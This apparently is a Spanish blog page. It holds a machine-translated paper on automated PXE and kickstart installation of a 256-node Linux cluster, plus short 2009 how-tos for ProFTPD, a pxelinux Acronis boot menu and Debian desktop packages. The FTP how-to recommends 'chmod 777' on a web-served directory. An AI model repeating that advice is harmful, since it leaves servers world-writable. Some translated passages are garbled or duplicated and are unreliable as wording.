Otro objetivo de nuestro enfoque es utilizar sólo los servidores y servicios que ya están en marcha y que pueden ser reutilizados para otros fines.
A diferencia de un servidor "rsync", el cual sólo puede ser utilizado para "systemimager" (por tomar sólo un ejemplo), un servidor DHCP para el grupo de nodos de instalación, también puede ser utilizado para la instalación de máquinas de escritorio. Además, una imagen del sistema en particular -para fijarnos en el ejemplo “systemimager” - puede solo ser utilizado sobre exactamente el mismo hardware. Considerando que un set de RPM (Red Hat Package Manager ") usados por "Anaconda" es utilizable para todos los instalaciones Linux.
"NPACI's Rocks" [9] contiene paquetes de este tipo con propósito de instalación de infraestructura general, pero alguna intervención manual sigue siendo necesaria y su enfoque es de re-instalar una máquina cada vez que bootea (arranque). Nos gustaría buscar una solución menos radical. Además, "Rocks" está destinado a instalar sólo pequeños grupos de hasta 128 nodos [8]. Teniendo en cuenta todo esto, los objetivos de diseño de nuestra infraestructura Linux de instalación, son los siguientes: 1. Utilizar sólo los servicios estándar, los cuales ya están en el lugar y se puede utilizar para otros fines. 2. Hacerlo altamente escalable para permitir la instalación de miles de máquinas al mismo tiempo. Este trabajo describe nuestra solución y damos algunos resultados de referencia de nuestra aplicación para demostrar su viabilidad. En la siguiente sección vamos a describir todos los componentes de nuestra infraestructura. En la Sección 3 se describen las características de escalabilidad de la infraestructura y en la sección 4 se presenta las mediciones que efectuamos instalando hasta 256 nodos al mismo tiempo.
2. Arquitectura de la infraestructura de instalación
Nuestra arquitectura para la instalación de grandes clusters (grupos) de Linux facilita la capacidad de arranque de red (Pre-boteo Ejecución Ambiente PXE [6]) de las tarjetas de red de interfaz moderna (NIC's).
Esto requiere servidores DHCP y TFTP para obtener los programas necesarios y los archivos de configuración para los clientes.
La cadena de programas cargados e iniciados desde PXE son:
Un bootloader (gestor de arranque), un Kernel-Linux (núcleo de Linux), y un disco RAM inicial para este núcleo.
El kernel de Linux inicia el booteo kickstart para instalar Red Hat Linux. Después de que Linux esté instalado, un proceso de post-instalación, hace necesarias adaptaciones locales.
La figura 1 muestra todos los servidores necesarios para la arquitectura propuesta en su aspecto más general.
Figura 1: Arquitectura General del entorno de la Instalación
En las siguientes secciones vamos a describir todos los componentes utilizados en más detalle. Y vamos a presentar algunos scripts de pegar, que todo lo unen para hacer una instalación masiva y completamente automática y desatendida. Los detalles técnicos y todos los scripts mencionados están disponibles en [13].
2.1. Preboot Execution Environment (PXE) (Entono de Ejecución de Pre-booteo) Para bootear (arrancar) un PC Intel través de la red, la mayoría de las NICs (tarjetas de red), están equipadas con PXE, un estándar propuesto por Intel.
El primer paso en este procedimiento es la emisión DHCP (broadcast) desde un cliente para obtener su dirección IP. Esto permite que el servidor PXE envíe la dirección IP y un menú al cliente de tal manera que el usuario pueda elegir qué sistema operativo podría ser instalado en su sistema.
PXE en el cliente a continuación, carga un bootloader (gestor de arranque) por TFTP que a su vez carga el sistema operativo elegido.
Sólo necesitamos la parte de DHCP y TFTP para obtener una dirección IP y un bootloader (gestor de arranque) sobre cada máquina. Siempre instalaremos Linux como sistema operativo. Por lo tanto, no necesitamos un servidor PXE, sólo un servidor DHCP y servidor TFTP.
2.2. DHCP Por varias razones, cada máquina en SLAC necesita una dirección IP estática. Por lo tanto, nosotros no podemos ofrecer simplemente una gama de direcciones IP libres a nuestro servidor DHCP, que se asignarían a los clientes en orden cronológico de sus solicitudes. Para permitir la asignación de direcciones IP estáticas a través de DHCP, el servidor DHCP necesita saber de todos los clientes las direcciones MAC de antemano. Esto no es un problema para las máquinas que ya están corriendo y necesitan ser reinstaladas. Para las máquinas nuevas con direcciones MAC desconocidas hay varias posibilidades para lograr esto. 1. Obtener una lista de direcciones MAC y los números de serie de la máquina del proveedor y realice un seguimiento de cada máquina durante el armado. 2. Todas las máquinas tienen etiquetas de código de barras que contiene su dirección MAC. Después las máquinas son colocadas y pueden ser escaneados en su orden de ubicación. 3. Cambie las máquinas en el orden que desee, las direcciones IP asignadas a ellos.
Examine el archivos de registro dhcpd logfiles de recepción de solicitudes y asignación de las direcciones IP de acuerdo con este orden. Esta tercera opción es elegida por NPACI para "Rocks" [9]. Todo esto es angustioso, necesita un esfuerzo adicional y está propenso a errores de hardware. El tercer enfoque depende en gran medida del timing (sincronización) en que las máquinas son encendidas. 2.2.1. Detección de direcciones MAC Hemos desarrollado un script para detectar las direcciones MAC de forma automática y al vuelo, mientras los clientes realizan su transmisión (broadcast) PXE - DHCP. Esta emisión (broadcast), envía una señal por Ethernet a través del switch (conmutador) para encontrar un servidor DHCP. El switch, ve esta nueva dirección MAC en uno de sus puertos y llena su "bridging table" ("tabla de puente") con esta información. Nuestro switch (conmutador) Cisco Catalyst 6509, puede consultar a través de SNMP (Simple Network Management Protocol) Protocolo Simple de Administración de Red, la lectura de la tabla de bridge.
Las direcciones IP pueden ser ahora asignadas en el orden de los puertos del switch: la máquina con la dirección MAC que fue vista en el primer puerto, obtiene la primera dirección IP y así sucesivamente. El único requisito para que esta técnica trabaje y funcione es un cableado Ethernet cuidadoso entre las máquinas y el switch. La máquina en la primera posición en el rack (bastidor), debe estar conectada al primer puerto del switch, la segunda posición en el rack debe ser conectada al segundo puerto, y así sucesivamente. Este orden determina el orden en que las direcciones IP son asignadas a las máquinas. Nuestro script de Perl que consulta al switch, toma como entrada sólo el nombre del switch, las tarjetas en el switch y los puertos sobre estas tarjetas a buscar.
Se genera un nuevo archivo de configuración del servidor DHCP (dhcpd.conf) con todas las direcciones MAC previamente desconocidas que se agregan. Un segundo script, observa este archivo dhcpd.conf y se detiene e inicia el servidor DHCP siempre que el archivo de configuración haya cambiado.
Todo este proceso es un momento altamente crítico, porque el PXE standard requiere que los clientes emitan sólo 2 peticiones DHCP. Por lo tanto, nuestro script lee todo el archivo dhcpd.conf, sola una vez al principio y lo mantiene en la memoria. Cada vez que agrega una o más direcciones MAC, se escribe el archivo entero en vez de editarlo. Todos los cambios realizados a este archivo entretanto por otros scripts serían anulados y reemplazados. Volveremos a este punto en la sección 2.4.2. Con este truco de programación y nuestros clientes que emiten sobre 10 peticiones DHCP, lo cual toma a la larga sobre 1 minuto el tiempo de espera. Tenemos tiempo suficiente para detectar las direcciones MAC automáticamente.
2.3. TFTP
PXE plantea algunos requisitos en el servidor TFTP que se pueda utilizar. Para obtener más información acerca de los requisitos especiales, véase el debate H. Peter Anvin en [4]. Un open source server (servidor de código abierto) que cumple estas condiciones es el servidor TFTP de Jean-Pierre Lefebvre y Remi [7]. Este servidor TFTP es capaz de correr como un demonio independiente que mejora el rendimiento, en comparación con un servidor TFTP de un proceso iniciado por inetd.
2.4. Bootloader
El programa gestor de arranque se carga desde PXE a través de TFTP al cliente y a continuación start (comienza).
Estamos utilizando el gestor de arranque pxelinux.0 de H. Peter Anvin de su paquete de syslinx [4]. Que carga su propio archivo de configuración a través de TFTP y ejecuta lo que sea que este archivo de configuración dicta.
2.4.1. Configuración del Bootloader (gestor de arranque)
Si el archivo de configuración del bootloader (gestor de arranque), le dice al gestor de arranque que realice una carga de inicio de red, (en nuestro caso) un Linux Kernel(núcleo Linux) y su disco “inital RAM” (RAM de inicio) a través de la red en el cliente. El gestor de arranque entonces inicia el kernel de Linux con todos los parámetros necesarios lo cual se encuentra en su archivo de configuración. Estos parámetros le dicen al núcleo que realice un booteo kickstart de instalación y que busque el archivo de configuración del booteo en una cierta localización de un servidor NFS.
En el caso de que su archivo de configuración le indique que debe efectuar el arranque desde el disco duro local, hará precisamente esto. El bootloader (gestor de arranque) pxelinux.0 nos permite tener un archivo de configuración independiente para cada cliente. El nombre del archivo es la dirección IP de la máquina en notación hexadecimal sin puntos. Esta característica es útil para prevenir las re-instalaciones interminables.
2.4.2. Prevención de Re-Installations interminables
Después que la instalación del sistema operativo está completa, se reinicia el equipo. Debido a que el BIOS está configurado para arranque PXE, necesitamos un mecanismo para evitar una nueva instalación. La solución obvia, es cambiar la configuración del servidor DHCP no dando al cliente un nombre de archivo para que la fase siguiente TFTP no funcione en esta situación. Véase la sección 2.2.1. para ver las razones. pxelinux.0 partir de la versión 1.53 comprende un " parámetro localboot " en su archivo de configuración. Este parámetro le indica al bootloader (gestor de arranque) que inicie el proceso de arranque desde el disco duro local y así evitar una nueva instalación por red. Todos tenemos que tener cuidado de cambiar el archivo de configuración para cada cliente después de que se lleve a cabo la instalación. Transferiremos un marcador adicional (vacío) a través de TFTP al final de la fase de booteo. Esto añade una entrada en syslog en el servidor TFTP. Con esta transferencia de archivos adicionales es muy sencillo escribir un script que busca en el log file (archivo de registro) de syslog y verifique en el archivo marcador de transferencia y cambie la configuración del archivo pxelinux para la máquina que recibió este archivo. Iniciando una instalación masiva, el archivo de configuración del bootloader (gestor de arranque) de cada máquina está enlazado a un archivo que le permita realizar un arranque de red. El mecanismo descrito anteriormente elimina este enlace simbólico cuando la máquina esta completa (is done) y crea uno nuevo que apunta a un archivo diciéndole a la máquina efectue el arranque desde su disco duro local.
2.5. Booteo kickstart sobre eth1
Si nuestras máquinas clientes tienen dos NIC: "eth0" se encuentra en la placa base y "eth1" en una tarjeta PCI. Debido a que la NIC de la placa base no pueda realizar un arranque de red PXE, tendremos que conectar las máquinas a través de "eth1". La versión de producción de Red Hat Linux en el SLAC es todavía 6,2. El programa de instalación de Red Hat "Anaconda" que viene con esta versión no nos permite seleccionar un adaptador Ethernet específico para realizar la instalación - que está codificada para "eth0". Por lo tanto, tendremos que cambiar esto a "eth1" en el código fuente de “anaconda" compilarlo y generar un nuevo disco initial RAM (initrd.img). "Anaconda" en Red Hat 7 y posteriores tienen un nuevo parámetro "ksdevice" precisamente para este propósito.
2.5.1. Mountando NFS
Se puede hacer la instalación del booteo Kickstart, ya sea desde un medio adjunto conectado localmente (en el disco duro o CD-ROM) o través de la red a través de FTP, HTTP o NFS. Tenemos un servidor que mantiene de forma centralizada (localmente modificada) la distribución Red Hat en NFS. El booteo kickstart monta este sistema de archivos y obtiene todos los paquetes de software necesarios desde ahí. El archivo de configuración del booteo kickstart determina el nombre del servidor NFS y el sistema de ficheros a montar.
2.5.2. %post
El último paso en una instalación kickstart es ejecutar la sección "post%" del archivo de configuración de booteo kickstart. Estamos utilizando este paso para desactivar los servicios innecesarios e instalar nuestro script real post-instalación.
3. Escalabilidad
Metas primarias del diseño para la instalación de esta infraestructura son la escalabilidad y el rendimiento. Para los sitios más pequeños, la escalabilidad baja es una consecuencia, así como que la escalabilidad suba para los grandes sitios. Nuestra infraestructura satisface ambas necesidades.
3.1. Escalabilidad Baja
Todos los servidores (DHCP, TFTP, NFS) y todos los control de scripts pueden funcionar juntos en una sola máquina. Este podría ser la típica operación de esta instalación de infraestructura día a día, cuando se utiliza también para instalar las máquinas de escritorio con Linux, donde la carga no es muy alto para cada servidor/servicio. Dependiendo de las necesidades de rendimiento individual, cada uno de estos servicios puede trasladarse a su propia máquina.
3.2. Escalabilidad Alta
Con la forma en que el control de Script (secuencias de comandos) funciona, incluso es posible utilizar más de una máquina para cada servicio. Si los clientes se conectan a más de un switch, utilice una instancia de script de detección de la dirección MAC para cada switch. Cada instancia se puede ejecutar en un equipo diferente y puede poner detectar las direcciones MAC en varios ficheros de configuración para diferentes servidores DHCP. Cada entrada de host de esos archivos puede tener una entrada diferente de servidor TFTP. Finalmente, cada archivo de configuración de pxelinux puede contener un nombre diferente del servidor NFS. La forma más sencilla de lograr una distribución equitativa de los clientes a los servidores es asignar a los clientes en un ronda-robin a la medida de los servidores.
4. Performance (Rendimiento)
Para nuestras pruebas de evaluación comparativa teníamos dos servidores disponibles para servir a los paquetes de Linux a los clientes, uno con 100 Mb/s, y otro con 1 Gb/s de conectividad de red. Tuvimos que instalar 256 máquinas clientes.
Es bastante claro que el servidor con 100 Mb/s de conexión no tiene ninguna chance de servir a 256 clientes. Por lo tanto tratamos de instalar sólo 128 clientes.
La figura 2 muestra la salida total que viene de la red procedente de este servidor, vista en el switch que está conectado. El link (vínculo) está completamente saturado con cerca de 93 Mb/s de rendimiento.
La caída profunda en el gráfico marca el final de la instalación de Linux y el inicio de nuestro script post-instalación local, que utiliza el mismo servidor par su propia instalación.
La Figura 3 muestra un histograma de cuántos clientes y que cantidad de tiempo necesitaron para terminar su instalación del sistema operativo.
Los tiempos son discretos en intervalos de 5 segundos. Le tomó 45 a 47 minutos para las máquinas que se instalaron.
Tenga en cuenta que los gráficos contienen datos de sólo 105 clientes a pesar de que se comenzó la instalación de 128 máquinas. Resulta que siempre hay máquinas que tienen problemas (como problemas de hardware) que les impide terminar su instalación.
Figura 2: salida de la red de 100 Mb/s conectados al servidor NFS durante la instalación de Linux de 105 máquinas.
Figura 3: Distribución: Duración de la instalación del sistema operativo Linux con 105 máquinas y conexión de 100 Mb/s al servidor NFS.
4.1. Estimación
Antes de hacer una instalación con el servidor-rápida conectado, primero hacer algunos cálculos de lo que podemos esperar de este cambio.
Los 256 clientes se conectan con fast Ethernet (Ethernet rápido). 256 x 100 Mb/s = 25,6 Gb/s. Así pues, el enlace de 1 Gb/s recibirá un exceso de 25 veces de solicitudes.
Algunas instalaciones manuales sugieren que dar booteo kickstart a la red, pero no está relacionado a la CPU y/o al disco. Usando la misma máquina cliente una vez en 100 Mb/s y otra vez en 10 Mb/s de conexión Ethernet no hay prácticamente ninguna diferencia en el tiempo de instalación. Cualquiera de las instalaciones tarda unos 10 minutos. Dada la cantidad de 830MB de datos que se instala en una máquina, el siguiente cálculo de rendimiento puede hecho: 830MB/10min= 11Mb/s
Dado que este tipo de datos se produce en cada una de las 256 máquinas, la subida de 1Gb/s tendrá sólo un exceso de solicitudes de: 1,4 veces [11 Mb/s * 256] /1 Gb/s = 1,4 veces
Por lo tanto, el tiempo estimado para la instalación de 256 máquinas puramente basado en el rendimiento nominal de red es de: 14 min 1,4 * 10 min = 14 min
No estaba claro cómo el servidor NFS rinde con tantos clientes conectados a él y leyendo sólo archivos de tamaños pequeños y medianos.
4.2. Configuración de Hardware
La infraestructura de instalación descrita, fue elaborado para instalar una nueva agrupación de 256 máquinas 1RU dual PIII VA1220 [11]. Cada nodo está conectado a través de un enlace fast Ethernet de 100 Mb/s a un switch. Ahora todos los nodos están conectados al mismo switch. El switch es un Cisco Catalyst 6509 con un 1 Gb/s de conexión de enlace ascendente de la agrupación de PCs a una red troncal Ethernet multi-gigabit.
El servidor DHCP y servidor TFTP se conectan a través de fast Ethernet. El servidor NFS utilizado para servir los paquetes de Linux a los clientes es una red de NetApp F760 Appliance filer con 1 Gb/s de conexión Ethernet, 1 GB de memoria principal, y un total de 1 TB de espacio en disco duro.
Este conjunto de máquinas es "prestada" y no utilizada exclusivamente para esta instalación de Linux.
Por lo tanto, vemos algunos pequeños usos para otros fines que (después del hecho) resultó ser lo suficientemente livianos como para no afectar el rendimiento de instalación en modo alguno.
4.3. Mediciones
Las 256 máquinas clientes se encienda de forma remota a través de VACM [10] en aproximadamente 1 minuto. A continuación, realizaron un broadcast de DHCP (emisión de DHCP), seguidos de tres descargas TFTP y luego un booteo kickstart de instalación de Red Hat Linux a través de NFS. Una vez más, nuestros clientes resultaron ser no muy fiables, con sólo 206 máquinas que en realidad pudieron terminar su instalación.
La Figura 4 muestra un histograma de la cantidad de máquinas y qué cantidad de tiempo necesitaron desde la última descarga de TFTP, hasta que finalizaron la fase de booteo kickstart. Este es el momento para instalar el sistema operativo Linux en las máquinas. Los tiempos son discretos en intervalos de 5 segundos. La máquina más rápida estaba lista después de 29:35 minutos, el equipo más lento tomó 31:00 minutos. El tiempo promedio es de 30:23 minutos.
Figura 4: Distribución: Duración de la instalación del sistema operativo Linux.
Este es el doble del tiempo sugerido por el cálculo de rendimiento de la red.
Figura 5: Lecturas de disco en el servidor de archivos NFS durante la instalación de Linux.
Nota: El Network File System (Sistema de archivos de red), o NFS, es un protocolo de nivel de aplicación, según el Modelo OSI. Es utilizado para sistemas de archivos distribuido en un entorno de red de computadoras de área local. Posibilita que distintos sistemas conectados a una misma red accedan a ficheros remotos como si se tratara de locales.
Las lecturas del disco de los archivos NFS durante la instalación son muy moderadas, como puede verse en la Figura 5 (todas las mediciones en el servidor NFS de Network Appliance se hace con el comando sysstat con una salida cada 10 segundos).
La distribución Linux completa, cerca de 835 MB se mantienen en su caché (el archivo tiene 1 GB de memoria), de modo que no son necesarios tener acceso a múltiples discos para servir a múltiples clientes.
Como se observa en la figura 6, la utilización de la CPU del servidor de archivos NFS no es tampoco la razón del tiempo más lento de la instalación.
La utilización es de aproximadamente el 83% con algunos peaks y caídas. En todos nuestros días, al usar estos archivos, vemos hasta un 95% - 100% de utilización de CPU en las horas peaks.
Figura 6: Uso de la CPU del servidor NFS durante la instalación de Linux.
Figura 7 muestra la salida de la red real que se observa en el servidor de archivos NFS durante la instalación de Linux. El archivero es capaz de entregar alrededor de 370 Mb/s sostenidamente sobre su salida de red de 1 Gb/s enlace. Para nuestro caso usado de 256 clientes sólo leyendo archivos de pequeños y mediano tamaño, esto parece razonable.
Figura 7: Salida de red del servidor NFS, durante la instalación de Linux en 206 máquinas.
Si comparamos estas cifras de rendimiento con los obtenidos en otra instalación de prueba con tan sólo 110 clientes, vemos que con la mitad de los clientes conectados, el servidor de archivos ya ofrece alrededor de 370 Mb/s de salida de red (véase la figura 8).
No se puede escalar mucho más sobre estos rangos con mayor número de clientes conectados. Por lo tanto, el servidor de ficheros NFS que actúa como servidor de la distribución de Linux durante el booteo kickstart, es el cuello de botella en nuestras instalaciones! Tenga en cuenta que esto no es una limitación de la infraestructura en general propuesta, sino de nuestra aplicación en nuestro hardware existente y disponible.
Figura 8: Salida de la red del servidor NFS de Linux durante la instalación de 110 máquinas. Para superar este cuello de botella, se puede utilizar más de un servidor de archivos y distribuir la carga del cliente de manera uniforme sobre ellos. Esto se puede hacer, teniendo un archivo de configuración con booteo kickstart diferente para cada servidor NFS el cual es asignado (por ejemplo, a través de "round-robin” metodo de selección equitativa y ordenada) a las máquinas de Linux por el archivo de configuración PXE.
5. Futuras Aplicaciones
Hemos usado esta infraestructura para recientemente instalar Linux en nuevas máquinas. El mismo método se puede utilizar para re-instalaciones en las máquinas. Esto es necesario para upgrades (actualizaciones de sistemas), pero puede también ser necesario cuando un trabajo por lotes requiere un sistema operativo en un clúster de máquinas que no está actualmente almacenada en su disco duro. Dado que un programador de horarios por lotes de todos los trabajos que requiere este nuevo sistema operativo de forma consecutiva y teniendo en cuenta servidores de archivos más rápidos, esto podría ser factible. Con todos los servidores en su lugar, ahora también es sencillo de aplicar un complemento a esta infraestructura para la instalación automática y desatendida máquina de escritorio. Una manera de hacer esto, es el diseño de una página web donde un usuario proporciona una dirección MAC y la configuración de hardware (el tamaño del disco en particular). La parte de atrás-script final sería añadir una entrada en el archivo de configuración del servidor DHCP y facilitará un adecuado archivo de configuración kickstart. La máquina de escritorio puede ser arrancado con un genérico de instalación de Red Hat Linux disquete. Más general el procedimiento de instalación de escritorio, podría incluso favorecer la funcionalidad PXE completo: un usuario podría elegir si s / que quiere instalar Linux o Windows en su máquina de mesa, de la suya. Incluso los clientes sin disco (ver LTSP [3]) no son difíciles de apoyar con la infraestructura de instalación dada en su lugar.
Con todos los servidores en su lugar, ahora también es sencillo implementar un complemento a esta infraestructura, para la instalación automática y desatendida de máquinas de escritorio.
Una manera de hacer esto, es diseñar una página web donde un usuario proporcione una MAC address (dirección MAC) y la configuración de hardware (el tamaño del disco duro en particular).
La parte de final del script, sería añadir una entrada en el archivo de configuración del servidor DHCP y proporcione un adecuado archivo de configuración del booteo kickstart.
La máquina de escritorio puede ser booteada (arrancar) con un disquete de instalación genérica de Linux Red Hat.
Un procedimiento más general de instalación de escritorio, podría incluso favorecer la completa funcionalidad de PXE : un usuario podría elegir si s/él quiere instalar Linux o Windows sobre su máquina de escritorio.
Incluso en los clientes sin disco (ver LTSP [3]) no es difícil apoyarlos con darle instalación de infraestructura dada en su lugar
6. Conclusiones
En este trabajo, presentamos una propuesta de infraestructura general de alto rendimiento de instalación de Linux. Hemos puesto en marcha esta infraestructura y realizado la instalación en un cluster (grupo) de tamaño mediano de hasta 256 nodos, en 30 minutos. Si un menor tiempo de instalación es necesario o si hay más clientes que necesitan ser instalados, la presente infraestructura permite a cada servicio individual (TFTP, DHCP, NFS) ser distribuidos en más de un solo servidor físico
Es sencillo modificarle los script presentados, para llevar a cabo un “round-robin” de equilibrio en la carga sobre todos estos servidores. Con estos cambios, la arquitectura que aparece debería ser capaz de instalar clusters de miles de nodos, como será necesario hacerlo en el futuro muy próximo. Nuestras mediciones ofrecen algunos datos puntuales, que permiten predecir aproximadamente la forma de ampliar su infraestructura de instalación según sus necesidades.
References
[1] EU DataGrid. http://www.eu-datagrid.org
[2] EU DataGrid Work Package 4: Fabric Management. http://hep-proj-grid-fabric.web.cern.ch/hep-proj-grid-fabric/
[3] Linux Terminal Server Project. http://www.ltsp.org/
[4] H. Peter Anvin. Syslinux/pxelinux: A boot loader for linux. http://syslinux.zytor.com/
[5] IBM. Linux Utility for Cluster Installation (LUI). http://oss.software.ibm.com/developerworks/projects/lui
[6] Intel Corporation. Preboot Execution Environment (PXE) Specification Version 2.1. ftp://download.intel.com/ial/wfm/pxespec.pdf
[7] Jean-Pierre and Remi Lefebvre. atftp ftp://ftp.mamalinux.com/pub/atftp/
[8] Philip M. Papadopoulos. VA Linux 1220. Talk at the "Large-Scale Cluster Computing Workshop (LCCWS) 2001", http://conferences.fnal.gov/lccws/
[9] Philip M. Papadopoulos, Mason J. Katz, and Greg Bruno. NPACI Rocks: Tools and Techniques for Easily Deploying Manageable Linux Clusters. In Submitted to: Proceedings of the Cluster 2001, October 2001.
[10] VA Linux Systems, Inc. VA-Cluster Manager. http://sourceforge.net/projects/vacm/
[11] VA Linux Systems, Inc. VA Linux 1220. http://www.valinux.com/systems/productinfo.html?product=1220
[12] VA Linux Systems, Inc. VA Linux SystemImager Software. http://systemimager.org/
[13] Alf Wachsmann. Howto Install Red Hat Linux via PXE and Kickstart. http://www.SLAC.Stanford.EDU/~alfw/PXE-Kickstart/
viernes, 10 de julio de 2009
Montar FTP en Debian
Manual para montar el FTP
(fuente)
Así podremos subir y bajar archivos remotamente. Usaremos el software Proftpd
#apt-get install proftpd
Agregar la linea DefaultRoot ~ en el archivo de configuración proftpd.conf con el comando echo …
#echo DefaultRoot ~ >> /etc/proftpd/proftpd.conf
Si no introducimos esta línea cualquiera que se conecte al servidor FTP podrá subir por los directorios y ver una información que se supone que no debe ver.
Nota : No borrar los archivos que ya hay dentro de los directorios ya que podemos borrar configuraciones de usuario de otros programas.
Una vez hecho esto reiniciamos el demonio Proftpd con … /etc/init.d/proftpd restart
Ahora podemos hacer la prueba y conectarnos desde nuestro cliente FTP favorito al servidor FTP que ahora tiene instalado nuestro servidor. Para acceder al servidor de momento usaremos la IP local del server. (En mi caso 192.168.1.71 ).
http://www.softonic.com/s/cliente-ftp:linux
Recordad que todo lo que incluyamos dentro del directorio (www ) se podrá ver vía web desde la raíz del servidor. (En mi caso http://192.168.1.71/www/ )
Una vez hayamos realizado todos los pasos, en el root terminal (o consola de comandos logeado como root) debemos darle permisos al directorio asignado para el FTP (en este caso, “/home/usuario/www”) de la siguiente manera:
#chmod 777 /home/usuario/www
Servidor PXE con Acronis
Servidor PXE con Acronis
(fuente)
La idea principal es desplegar una imagen de Acronis en los servidores y configurar los servidores de acuerdo a los requisitos del sistema. Así, en los servidores sin unidades de disquetes y CD/DVD, para restaurar una imagen de Acronis en un equipo nuevo tenemos que utilizar el arranque de rescate, también conocido como CD de arranque con Acronis en él.
nota: Acronis tiene productos con PXE integrado, pero la idea es utilizar un servidor con PXE propio.
El primer paso, es crear los medios de comunicación de arranque de rescate con el CD de arranque de Acronis.
TIMEOUT 300
ALLOWOPTIONS 0
PROMPT 0
MENU TITLE PXE Boot System
LABEL ACRONIS
MENU LABEL ^Acronis Bootable
kernel kernel.dat
append initrd=ramdisk.dat vga=791 ramdisk_size=32768 acpi=off quiet noapic
LABEL NetworkBoot
MENU LABEL ^Network Boot
kernel memdisk
append initrd=w98se-netboot.IMA
LABEL CleanBoot
MENU LABEL ^Clean Win 98 Boot
kernel memdisk
append initrd=W98.IMA
LABEL MemTest
MENU LABEL ^Memory Test
kernel memdisk
append initrd=W98_MemTest.IMA
Los próximos pasos son sencillos.
Al arranque, seleccionar en el menú: Acronis y después que se despliega Acronis, elegir la imagen para la recuperación que con anterioridad alguna vez ya creaste.
(fuente)
La idea principal es desplegar una imagen de Acronis en los servidores y configurar los servidores de acuerdo a los requisitos del sistema. Así, en los servidores sin unidades de disquetes y CD/DVD, para restaurar una imagen de Acronis en un equipo nuevo tenemos que utilizar el arranque de rescate, también conocido como CD de arranque con Acronis en él.
nota: Acronis tiene productos con PXE integrado, pero la idea es utilizar un servidor con PXE propio.
El primer paso, es crear los medios de comunicación de arranque de rescate con el CD de arranque de Acronis.
Tomar 2 archivos, kernel.dat y ramdisk.dat del directorio de Acronis y ponerlos en
C:\ PXEServer \ TFTPRoot \ directorio de arranque.
El archivo queda de la siguiente manera:
DEFAULT menu.c32
TIMEOUT 300
ALLOWOPTIONS 0
PROMPT 0
MENU TITLE PXE Boot System
LABEL ACRONIS
MENU LABEL ^Acronis Bootable
kernel kernel.dat
append initrd=ramdisk.dat vga=791 ramdisk_size=32768 acpi=off quiet noapic
LABEL NetworkBoot
MENU LABEL ^Network Boot
kernel memdisk
append initrd=w98se-netboot.IMA
LABEL CleanBoot
MENU LABEL ^Clean Win 98 Boot
kernel memdisk
append initrd=W98.IMA
LABEL MemTest
MENU LABEL ^Memory Test
kernel memdisk
append initrd=W98_MemTest.IMA
Los próximos pasos son sencillos.
Al arranque, seleccionar en el menú: Acronis y después que se despliega Acronis, elegir la imagen para la recuperación que con anterioridad alguna vez ya creaste.
jueves, 9 de julio de 2009
Instalación de la X en Debian
Personalizar Debian: Instalación Minima de las X
(fuente)
Lo primero que debemos de hacer después de haber instalado el sistema base es hacer una actualización de todos los paquetes instalados hasta el momento con un simple:
# aptitude update
# aptitude upgrade
Con esto ponemos al dia nuestro sistema base.
Servidor de las X y lo que es un windows manager y como interactúan:
Bueno una vez realizado esto debemos instalar el servidor de las X, poniendo lo siguiente:
# aptitude install x-window-system-core
Para los que tienen Sargen le instala el XFree86 X server y para los que tienen Etch le instala XORG
Nos hará unas cuantas preguntas, pero por ahora escogemos el default
Display Manager
Mientras el aptitude hace su trabajo debemos tomar una decisión, la cual es con que Display Manager voy a usar este es cada vez que prendamos nuestra computadora nos pregunte en forma gráfica el login y el password así que voy a poner los 3 más usados.
Xdm: el más pequeño y trabaja muy bien, altamente configurable
gdm: fácilmente configurable y agregas las librerías que necesitas si vas a usar el manejador de paquetes Synaptic, además contiene muchas más funciones extra de xdm
kdm: el más grande y pesado, para los que le gusta KDE
Asi que puedes escoger cualquiera, los 3 funciona en cualquier entorno de escritorio que elijas. Pero si te gusta gnome elige gdm, o si te gusta KDE elige kdm, o sino puedes elegir xdm si no tienes preferencia así que tipeamos lo siguiente escogiendo el login manager a usar:
# aptitude install display_manager
- donde display_manager tendremos que reemplazarlo por xdm ó gdm ó kdm
Windows Manager y Entorno de Escritorio
Entonces mientras continua el proceso tendremos que tomar otra decisión la cual es instalar solo un Windows Manager(WM) o instalar un Entorno de Escritorio la cual viene con su propio windows manager esto sin embargo no quiere decir que nosotros no podamos cambiarlo, por el contrario nosotros podemos reemplazarlo por el windows manager que queramos.
Bueno primero empezaremos por los Windows Manager para luego terminar con los Entorno de Escritorio ah, recuerde que no voy hablar de todos solo de unos cuantos si desean conocer mas lo puedes ver en http://freedesktop.org/wiki/
Windows Manager
Blackbox
Blackbox es un rápido y liviano Windows manager para las X y esta hecho en C++, su principal ventaja son sus bajos requerimientos de hardware, por lo cual es una de las mejores alternativas para sistemas de pocos recursos o de poca memoria (de 1.5 a 2MB RAM, contra casi 100 de KDE), lo instalamos así:
# apt-get install blackbox
Fluxbox
Fluxbox es otro Window Manager para las X, este esta basado en Blackbox 0.61.1, y yo creo que algunos ya lo hemos utilizado así es, si has usado alguna vez DSL(Damn Small Linux) entonces ya lo conoces y para los que no lo conocen pueden usar el liveCD de DSL para que lo prueben la forma de instalarlo es la siguiente:
# aptitude install fluxbox
Openbox
Openbox es otro windows Manager para las X, en sus inicios estaba basado en blackbox, pero a partir de la versión 3.0 fue reescrito totalmente, está diseñado para ser rápido y consumir una mínima cantidad de recursos, para instalarlo debemos poner: # aptitude install openbox obconf
Icewm:
Icewm es otro windows manager escrito en c++ y es relativamente ligero en términos de memoria y uso de la CPU, lo podemos instalar de la siguiente manera: # aptitude install icewm-lite
si quieres instalar lo mínimo, pero sino puedes poner: # aptitude install icewm
Entorno de Escritorio
Xfce:
Xfce es un ligero entorno de escritorio para UNIX, Linux y derivados. Su configuración es manejada íntegramente con el ratón y los ficheros de configuración son ocultados al usuario. Diseñado para la productividad, se carga y ejecuta aplicaciones rápido, mientras conserva recursos de sistema. Su windows manager es Xfwm4. para instalarlo basta con poner: # aptitude install xfce4
Gnome
Gnome es un entorno de escritorio que biene con muchas cosas, así como estamos tratando de realizar una instalación mínima para después ir instalando las aplicaciones que uno desea, ah por cierto el windows manager de gnome es metacity, para instalar gnome debemos tipear así: # aptitude install gnome-core
Si desean instalar lo mínimo, pero sino podemos instalar lo esencial y en la cual yo les recomiendo a los mas novatos, instalar gnome pero no tan cargado: # aptitude install gnome-desktop-environment
Claro que si queremos instalar todo solo basta con poner: # aptitude install gnome
KDE:
KDE es un entorno gráfico contemporáneo para estaciones de trabajo Unix. KDE llena la necesidad de un escritorio amigable para estaciones de trabajo Unix, similar a los escritorios de MacOS o Windows
Así mismo si queremos instalar lo mínimo solo basta con poner
# aptitude install kdebase
o poner tambien esto para lo esencial
# aptitude install kde-core
ahora si deseamos instalar todo solo basta con poner:
# aptitude install kde
(fuente)
